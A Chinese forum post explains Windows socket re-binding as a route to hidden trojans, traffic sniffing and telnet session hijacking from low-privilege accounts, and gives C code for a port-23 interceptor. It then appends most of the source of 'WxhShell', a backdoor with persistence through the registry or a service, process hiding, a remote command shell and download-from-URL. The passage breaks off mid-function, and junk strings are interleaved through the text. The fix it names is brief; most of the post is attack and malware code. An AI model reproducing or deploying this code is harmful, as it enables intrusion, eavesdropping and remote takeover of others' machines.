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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: U*k$pp6\b~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D2>EG~xWq  
~srmlBi6  
  saddr.sin_family = AF_INET; 7z=Ss'O]  
TDY}oGmNn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  fUb5KCZ  
SNff  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y!o@"Ct  
2Pi}<pG~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J~<:yBup}  
4pq>R  
  这意味着什么?意味着可以进行如下的攻击: ?Dm!;Z+7  
BD=;4SLT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )R ,*  
Z#>k:v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \s<iM2]Kl  
%)l2dK&9"j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N ~M:+ \  
&.7\{q\(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -mX _I{BJ  
)l30~5u<J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #JuO  
uVu`TgbZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]pb;q(?^  
[rPW@|^5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _BtlO(0&  
_V:D7\Gs  
  #include S~/iH Xm  
  #include 1Q?hskL  
  #include x 6,S#p  
  #include    fb`VYD9[^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qI;k2sQR  
  int main() "VcGr#zW  
  { hUA3(!0)  
  WORD wVersionRequested; C _[jQTr  
  DWORD ret; Q1&: +7 %  
  WSADATA wsaData; pBL{DgX  
  BOOL val; "t"dz'  
  SOCKADDR_IN saddr; }(M<sEK~  
  SOCKADDR_IN scaddr; ^5,ASU  
  int err; -+Q,xxu  
  SOCKET s; "[GIW+ui  
  SOCKET sc; 4sZ^:h,1  
  int caddsize; >454Yir0Mk  
  HANDLE mt; T| 4c\  
  DWORD tid;   L?9Vz&8]  
  wVersionRequested = MAKEWORD( 2, 2 ); m> NRIEA6  
  err = WSAStartup( wVersionRequested, &wsaData ); HSK^vd?_l  
  if ( err != 0 ) { p2&KGt X'  
  printf("error!WSAStartup failed!\n"); WJz   
  return -1; \=yg@K?"AJ  
  } SfL,_X]*  
  saddr.sin_family = AF_INET; fEQ<L!'  
   >%[(C*Cks  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U}Xc@- \ ?  
_FdWV?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }clFaT>m?  
  saddr.sin_port = htons(23); -Qn:6M>w^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _/E>38G]  
  { YuPgsJ[m  
  printf("error!socket failed!\n"); *[yCcqN.  
  return -1; qKO\;e*  
  } qU2>V  
  val = TRUE; C 7+TnJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k9R1E/;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'R=o,=  
  { &I!2gf  
  printf("error!setsockopt failed!\n"); NoYu"57\  
  return -1; zo\Xu oZ  
  } ?LNwr[C0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?;{A@icr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4F:RLj9P!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 WUa-hm2:  
B r pin  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AQ0L9?   
  { M $e~Rlw  
  ret=GetLastError(); MQG$J!N  
  printf("error!bind failed!\n"); NqF-[G<  
  return -1; mup3ua]!  
  } h{PLyWH  
  listen(s,2); 8d$~wh  
  while(1) *$l8H[  
  { r2sog{R  
  caddsize = sizeof(scaddr); dOiy[4s  
  //接受连接请求 ) Fm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sgB3i`_M  
  if(sc!=INVALID_SOCKET) O^:Pr8|{J  
  { Y_)04dmr@[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4G`YZZQ  
  if(mt==NULL) s}?98?tYB  
  { 7Q[P  
  printf("Thread Creat Failed!\n"); Kw?,A   
  break; W%h<@@c4,  
  } E-"Jgq\aC  
  } 9MXauTKI  
  CloseHandle(mt); C)ChF`Ru':  
  } w[|!$J?  
  closesocket(s); }%XNB1/`  
  WSACleanup(); 'QW 0K]il  
  return 0; Q kQd;y  
  }   6Jj)[ R\5=  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?_tOqh@in  
  { sPZa|AKHb  
  SOCKET ss = (SOCKET)lpParam; j:sac*6m  
  SOCKET sc; mU\$piei  
  unsigned char buf[4096]; uP* >-s'm  
  SOCKADDR_IN saddr; "?S#vUS+ 2  
  long num; fO(.I  
  DWORD val; pxY5S}@  
  DWORD ret; T:}Ed_m}q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1MV^~I8Dd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G3OQbqn  
  saddr.sin_family = AF_INET; 9X*q^u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ix$+NM<n  
  saddr.sin_port = htons(23); Jp,ohVRNq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `\.n_nM  
  { 0`qq"j[6a  
  printf("error!socket failed!\n"); sY#K=5R  
  return -1; !.w S+  
  } f9\7v_  
  val = 100; E=x\f "Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \+>b W(  
  { T[;{AXLeI  
  ret = GetLastError(); $==hr^H  
  return -1; CRqa[boU*  
  } =o HJ_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) };KmMpBn  
  { x208^=F\\  
  ret = GetLastError(); 5VPuHY2  
  return -1; 6>vj({,1Y*  
  } 0<Pe~i_=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }3i@5ctQ  
  { :#|77b0  
  printf("error!socket connect failed!\n"); RE7[bM3a  
  closesocket(sc); $L`7J$'^  
  closesocket(ss); 4^i*1&"  
  return -1; P.fgt>v]  
  } f~U|flL^  
  while(1) ~O|0.)71]  
  { 'x18F#g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X F40;urm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `kz_ q/K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HmiwpI  
  num = recv(ss,buf,4096,0); :c.i Z  
  if(num>0) k&?QeXW  
  send(sc,buf,num,0); yT,UM^'  
  else if(num==0) nv8,O=#s  
  break; +,KuYa{lu  
  num = recv(sc,buf,4096,0); r8> q*0~s  
  if(num>0) ; 6zu!  
  send(ss,buf,num,0); Df4n9m}E  
  else if(num==0) {6AJ>}3  
  break; +?L~fM69B  
  } K:{Q~+   
  closesocket(ss); ]pGr'T~Gj  
  closesocket(sc); h*KhH>\  
  return 0 ; Ln: y|t  
  } Gs9jX/ #  
v>e4a/  
+HcH]D;  
========================================================== m[7a~-3:J  
E7D^6G&i  
下边附上一个代码,,WXhSHELL R.fRQ>rI  
. =+7H`A  
========================================================== %8-S>'g'  
CkflEmfe  
#include "stdafx.h" #&/*ll)  
-^Lj~O  
#include <stdio.h> Gmc"3L  
#include <string.h> yZ  P+  
#include <windows.h> F 4h EfO3  
#include <winsock2.h> p;H1,E:Re#  
#include <winsvc.h> D\TL6"wo  
#include <urlmon.h> S xgY q  
^:q(ksssY  
#pragma comment (lib, "Ws2_32.lib") ht-6_]+ME  
#pragma comment (lib, "urlmon.lib") ILpB:g  
J|b1 K]  
#define MAX_USER   100 // 最大客户端连接数 !bY{T#i)k  
#define BUF_SOCK   200 // sock buffer 7oWv'  
#define KEY_BUFF   255 // 输入 buffer H>D_0o<#y  
t3WlVUtq3  
#define REBOOT     0   // 重启 L\B+j+~  
#define SHUTDOWN   1   // 关机 ] x Kmz  
uu/M XID  
#define DEF_PORT   5000 // 监听端口 B\mdOTLQ  
KOxD%bX_  
#define REG_LEN     16   // 注册表键长度 OGVhb>LO1  
#define SVC_LEN     80   // NT服务名长度 T]myhNk  
o4J K$%  
// 从dll定义API  z/ i3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,=ICSS~9l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V&>7i9lEz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TwkzX|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5_O.p3$tV  
eu4x{NmQ  
// wxhshell配置信息 hN}X11  
struct WSCFG { vrbS-Z<S9  
  int ws_port;         // 监听端口 wx1uduT)  
  char ws_passstr[REG_LEN]; // 口令 qd.b&i  
  int ws_autoins;       // 安装标记, 1=yes 0=no vJ{\67tK  
  char ws_regname[REG_LEN]; // 注册表键名 AD5tuY  
  char ws_svcname[REG_LEN]; // 服务名 UFl*^j_)]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 );6zV_^!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3646.i[D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |#sP1w'l]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vr^wesT\Hx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z4e?zY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dYsqF 3f  
\i&yR]LF  
}; olJ9Kfc0  
EbW7Av  
// default Wxhshell configuration j` x9z_  
struct WSCFG wscfg={DEF_PORT, }Bb(wP^B.  
    "xuhuanlingzhe", g7H;d  
    1, #Q{6/{bM&J  
    "Wxhshell", 1idEm*3&(  
    "Wxhshell", :{fsfZXXr  
            "WxhShell Service", q4Z \y  
    "Wrsky Windows CmdShell Service",  <O*q;&9  
    "Please Input Your Password: ", !1l2KW<be  
  1, dfrq8n]  
  "http://www.wrsky.com/wxhshell.exe", <wuP*vI "h  
  "Wxhshell.exe" f;b(W  
    }; 0I cyi#N  
>Kr,(8rA  
// 消息定义模块 z(m*]kpL"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U/ZbE?it>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }C'z$i( y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6>"0H/y,  
char *msg_ws_ext="\n\rExit."; n% *u;iG  
char *msg_ws_end="\n\rQuit."; saV3<zgx  
char *msg_ws_boot="\n\rReboot..."; s9Xeh"  
char *msg_ws_poff="\n\rShutdown..."; &3JbAJ|;X  
char *msg_ws_down="\n\rSave to "; A6sBObw;  
*yf+5q4t  
char *msg_ws_err="\n\rErr!"; kY|_wDBSb\  
char *msg_ws_ok="\n\rOK!"; p$ko=fo-*_  
Mz06cw&  
char ExeFile[MAX_PATH]; !98s[)B:  
int nUser = 0; \\'!<Bn2d  
HANDLE handles[MAX_USER]; ^GbyAYEp  
int OsIsNt; HU'd/5fun  
@wg*~"d  
SERVICE_STATUS       serviceStatus; Y,8M[UIK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $HH(8NoL  
*s!8BwiE  
// 函数声明 >S~#E,Tg  
int Install(void); H"-p^liw  
int Uninstall(void); 9+/<[w7  
int DownloadFile(char *sURL, SOCKET wsh); H p,r @  
int Boot(int flag); uM\~*@   
void HideProc(void); x=H*"L=  
int GetOsVer(void); c)lK{DC  
int Wxhshell(SOCKET wsl); p#?1l/f"  
void TalkWithClient(void *cs); Zj}, VB*T  
int CmdShell(SOCKET sock); X{ Nif G  
int StartFromService(void); "NJ!A  
int StartWxhshell(LPSTR lpCmdLine); 8@r+)2  
?>,aq>2O$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fb#Ob0H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +Q'/c0o  
,og@}gOMB  
// 数据结构和表定义 $<y b~z7J  
SERVICE_TABLE_ENTRY DispatchTable[] = auO^v;s  
{ G,XFS8{%  
{wscfg.ws_svcname, NTServiceMain}, 1 t#Tp$  
{NULL, NULL} @^P=jXi<  
}; Z^h4%o-l{  
$zdJ\UX  
// 自我安装 J>+Dv?Ni$  
int Install(void) gy>2=d  
{ BBp Hp  
  char svExeFile[MAX_PATH]; q<7Nz] Td  
  HKEY key; #fFEo)YG  
  strcpy(svExeFile,ExeFile); 6IvLr+I  
^+P]_< 43  
// 如果是win9x系统,修改注册表设为自启动 ]vlQNd?  
if(!OsIsNt) { 2V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I*24%z9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o30PI  
  RegCloseKey(key); wPW9bu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a. gu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SKYS6b  
  RegCloseKey(key); GWhb@K  
  return 0; S</" ^C51J  
    } F\XzP\  
  } U %KoG-#  
} 8gx^e./  
else { `j<'*v zo  
:Ct} ||9/  
// 如果是NT以上系统,安装为系统服务 ikY=}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a|fyo#L  
if (schSCManager!=0) ;`xu)08a  
{ Kj-`ru  
  SC_HANDLE schService = CreateService MjLyB^ M  
  ( E2\)>YF{ P  
  schSCManager, x^SE>dy ?z  
  wscfg.ws_svcname, !,1~:*:  
  wscfg.ws_svcdisp, iBc( @EJ  
  SERVICE_ALL_ACCESS, u]oS91  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gHm ^@  
  SERVICE_AUTO_START, Mk^o*L{ H  
  SERVICE_ERROR_NORMAL, |D^[]*cEH  
  svExeFile, Ak1f*HGl|  
  NULL, )JZfC&,  
  NULL, 4BCZ~_  
  NULL, ,2]6cP(6qQ  
  NULL, M"P$hb'F  
  NULL B'=*92i>S  
  ); M r@M~ -  
  if (schService!=0) K&S~IFy  
  { R!,RZ?|v  
  CloseServiceHandle(schService); ,>Yz1P)L  
  CloseServiceHandle(schSCManager); S#ven&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !Hgq7vZG  
  strcat(svExeFile,wscfg.ws_svcname); 5[;^Em)C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W`;E-28Dg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !>! l=Z  
  RegCloseKey(key); Y[pGaiN:  
  return 0; #ocT4  
    } K{ 0mb  
  } ))+R*k%  
  CloseServiceHandle(schSCManager); inhb>zB  
} O,DA{> *m  
} 6bU/IVP  
)"q2DjfX*  
return 1; yJgnw6>r2  
} ^91k@MC  
L6',s4  
// 自我卸载 z?cRsqf  
int Uninstall(void) }]f)Fz  
{ .&L#%C  
  HKEY key; 0tl  
*ZY{^f  
if(!OsIsNt) { 3<Cd >o.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M.t5,NJ  
  RegDeleteValue(key,wscfg.ws_regname); c[Y7tj%y  
  RegCloseKey(key); O[-wm;_(=*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZL@7Mr!e  
  RegDeleteValue(key,wscfg.ws_regname); )ll}hGS  
  RegCloseKey(key); R (hq Ba/V  
  return 0; M>'-P  
  } lv{Qn~\y&  
} n2T vPt\  
} 8_ju.h[  
else { )+ S"`  
^D6JckW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *WOA",gZ  
if (schSCManager!=0) !WrUr]0IP  
{ V&qXsyg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,g/UPK8K=  
  if (schService!=0) ku\_M  
  { 4cs`R+]o  
  if(DeleteService(schService)!=0) { X3q'x}{  
  CloseServiceHandle(schService); }G-qOt  
  CloseServiceHandle(schSCManager); psYfz)1;  
  return 0; vL-%"*>v  
  } jd~r~.y  
  CloseServiceHandle(schService); o6svSS  
  } U-|g tND  
  CloseServiceHandle(schSCManager); <}B]f1zX  
} <]"aP1+C  
} `33+OW  
,Kdvt@vle  
return 1; WT!%FQ9  
} :p OX,  
l%;)0gT  
// 从指定url下载文件 A87Tyk2Pi  
int DownloadFile(char *sURL, SOCKET wsh) x OZ?zN  
{ T0Y=g n  
  HRESULT hr; 6 )Oe]{-  
char seps[]= "/"; ZLBfQ+pM)  
char *token; \z<'6,b  
char *file; qxE~Moht  
char myURL[MAX_PATH]; @8Co5`CVl  
char myFILE[MAX_PATH]; >)!"XFbb  
2)mKcUL-  
strcpy(myURL,sURL); haB$W 4x  
  token=strtok(myURL,seps); |QXW$  
  while(token!=NULL) B<6*Ktc  
  { KJSN)yn\  
    file=token; As78yfK  
  token=strtok(NULL,seps); pcL02W|J  
  } I'J=I{p*  
"i9$w\lm  
GetCurrentDirectory(MAX_PATH,myFILE); {T=I~#LjMI  
strcat(myFILE, "\\"); w Gw}a[a  
strcat(myFILE, file); F4d L{0;j  
  send(wsh,myFILE,strlen(myFILE),0); oXfLNe6>L  
send(wsh,"...",3,0); MYjDO>(_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |L0s  
  if(hr==S_OK) $JcU0tPq0  
return 0; y?Fh%%uNr  
else Z\TH=UA  
return 1; u5%.T0 P  
Jw9|I)H  
} 1jQz%^~  
X%39cXM C  
// 系统电源模块 Hn:%(Rg=aW  
int Boot(int flag) ]xV7)/b5G  
{ ,7tN&R_  
  HANDLE hToken; } fSbH  
  TOKEN_PRIVILEGES tkp; e,8C} 2  
Le#bitp  
  if(OsIsNt) { j2tw`*S+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .rax`@\8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5AQ $xm4  
    tkp.PrivilegeCount = 1; YAd.i@^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aS:17+!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HOXqIZN85  
if(flag==REBOOT) { ~pwp B2c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yS lN|8d  
  return 0; 8(&C0_yD  
} b\H~Ot[i  
else { Zj!S('hSY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &eyFApM[Z  
  return 0; K*p^Gs,  
} [+>$'Du  
  } v ;{s@CM m  
  else { oZP:}= F  
if(flag==REBOOT) { HL*jRl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CEZ*a 0}=  
  return 0; aRg- rz  
}  8tLkJOu  
else { Y~bp:FkS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;nSaZ$`5  
  return 0; T3!l{vG \O  
} "l2_7ZXsPT  
} x@(91f  
@ttcFX1:W  
return 1; 5-aCNAF2  
} Q!|. ,?V  
}fL8<HM\'c  
// win9x进程隐藏模块 c\"oj&>A  
void HideProc(void) t$rWE|+_z  
{ 6BNOF66kH  
T3+hxS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T? _$  
  if ( hKernel != NULL ) 2"JIlS;J}7  
  { ym8\q:N(R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n%@xnB $ZX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ) T 3y,*  
    FreeLibrary(hKernel); d v"  
  } |L<oKMZY  
a!xKS8-S==  
return; # 1I<qK  
} &+ JV\  
bWG}>{fj  
// 获取操作系统版本 *>zr'Tt,W  
int GetOsVer(void) O. @_2  
{ Vg&` f  
  OSVERSIONINFO winfo; `{8Sr)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H&`p9d*(e  
  GetVersionEx(&winfo); Yq3(,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2}' &38wMT  
  return 1; RhXX/HFk  
  else LKftNSkg"  
  return 0; e2k!5O S  
} _sJp"4?  
% UY=VE\F  
// 客户端句柄模块 5|&Sg}_  
int Wxhshell(SOCKET wsl) .KTDQA\  
{ :n{rVn}G  
  SOCKET wsh; @U:WWTzf  
  struct sockaddr_in client; sw8Ic\vT  
  DWORD myID; o#Rao#bD:  
UYGl  
  while(nUser<MAX_USER) rh/3N8[6  
{ XNd:x {  
  int nSize=sizeof(client); %nVnK6[sox  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H\ 8.T:>  
  if(wsh==INVALID_SOCKET) return 1; Fu!:8Wp!(  
$A8eMJEpL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c;B Q$je}  
if(handles[nUser]==0) :KMo'pL  
  closesocket(wsh); b{(!Ls_ &  
else WcbJ4Ore  
  nUser++; B qKD+  
  } bP(V#6IJ8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :.DCRs$Q  
Cf2rRH  
  return 0; Y -7x**I  
} Dbz\8gmY  
o!wz:|\S  
// 关闭 socket %`-NWAXL  
void CloseIt(SOCKET wsh) nS]/=xP{  
{ _Ev"/ %  
closesocket(wsh); X*}S(9cg\i  
nUser--; &h8+ -  
ExitThread(0); M'R^?Jjb  
} qm@c[b  
hDjsGB|Fz  
// 客户端请求句柄 _OHz6ag  
void TalkWithClient(void *cs) IeZ}`$[H  
{ j#<#o:If  
DZ(e^vq  
  SOCKET wsh=(SOCKET)cs; X}h{xl   
  char pwd[SVC_LEN]; [&3G `8hY  
  char cmd[KEY_BUFF]; f+1)Ju~  
char chr[1]; DM~Q+C=Yr  
int i,j; /,$6`V  
,K8PumM_  
  while (nUser < MAX_USER) { Bn}@wO  
RkP7}ZA;  
if(wscfg.ws_passstr) { ^V_vpr]}P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z2wR]G5!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q^ bG1p//.  
  //ZeroMemory(pwd,KEY_BUFF); h&;\   
      i=0; ]e7D""  
  while(i<SVC_LEN) { +SZ#s :#SE  
OKxPf]~4E  
  // 设置超时 ?Ju=L|  
  fd_set FdRead; C Vyq/X  
  struct timeval TimeOut; dD@T}^j *|  
  FD_ZERO(&FdRead); sW@4r/F>:D  
  FD_SET(wsh,&FdRead); UOT~L4 G  
  TimeOut.tv_sec=8; +twJHf_U  
  TimeOut.tv_usec=0; e8--qV#<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ib ;:*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c]t =#  
+q1 @8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =y[eQS$  
  pwd=chr[0]; T[~ak"M  
  if(chr[0]==0xd || chr[0]==0xa) { QJvA  
  pwd=0; *`=V"nXw$|  
  break; lf[ (  
  } NrhU70y  
  i++; #0hX)7(j  
    } w!8h4U. ;  
\7jcZ~FBX%  
  // 如果是非法用户,关闭 socket X];a(7+2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y85GKysT  
} CYes'lr  
htkn#s~=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jg/WE1p>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BVC\~j j  
:,LX3,  
while(1) { 3:dQN;=  
qwiM .b5  
  ZeroMemory(cmd,KEY_BUFF); )xT_RBR  
=Q[ 5U9  
      // 自动支持客户端 telnet标准   -8#Of)W  
  j=0; i[T!{<  
  while(j<KEY_BUFF) { q71Tg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;, 'eO i  
  cmd[j]=chr[0]; $l0^2o=  
  if(chr[0]==0xa || chr[0]==0xd) { haqL DVrf  
  cmd[j]=0; cuW$%$ F  
  break; $*`fn{2  
  } `?2S4lN/  
  j++; W 29@`93  
    } ;_1D-Mf  
:&9#p% /  
  // 下载文件 N=)N   
  if(strstr(cmd,"http://")) { maXQG&.F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q<wrO  
  if(DownloadFile(cmd,wsh)) =uMoX -  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;~tKNytD`B  
  else dHg[0Br)r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f*p=]]y  
  } AL3zE=BL  
  else { {[NBTT9&  
pR; AqDQ  
    switch(cmd[0]) { s@K|zOx  
  ko=vK%E[  
  // 帮助 gM^ Hs7o,  
  case '?': { Aum&U){yY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kw"7M~  
    break; o3qBRT0[R  
  } M,3sK!`>  
  // 安装 }9:d(B9;  
  case 'i': { G# .z((Rj  
    if(Install()) g.iiT/b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l" *zr ;#  
    else 6rq:jvlx$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j^Bo0{{  
    break; O F2*zU7M  
    } 3K_J"B*7  
  // 卸载 h/QZcA  
  case 'r': { 65)/|j+  
    if(Uninstall()) *)T},|Gc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ysu"+J  
    else l)4KX{Rz{A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "2o)1G  
    break; ")i4w{_y  
    } .?@$Rd2@W  
  // 显示 wxhshell 所在路径 j_j~BXhIS  
  case 'p': { i%:oO KI  
    char svExeFile[MAX_PATH]; s1?N&t8c  
    strcpy(svExeFile,"\n\r"); }c:s+P+/  
      strcat(svExeFile,ExeFile); )xoIH{  
        send(wsh,svExeFile,strlen(svExeFile),0); Kj;Q;Ii  
    break; ; SagN  
    } #JWW ;M6F  
  // 重启 Nw/4z$].J  
  case 'b': { =NQDxt}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @9~6+BZOq  
    if(Boot(REBOOT)) VK[^v;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zr-HL:js  
    else { 6H53FMqr  
    closesocket(wsh); ;S7MP`o@  
    ExitThread(0); {M )Y6\v  
    } sV%<U-X  
    break; 7:)=  
    } u$X [=  
  // 关机 3ktjMVy\  
  case 'd': { &&nvv&a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hV)D,oN3  
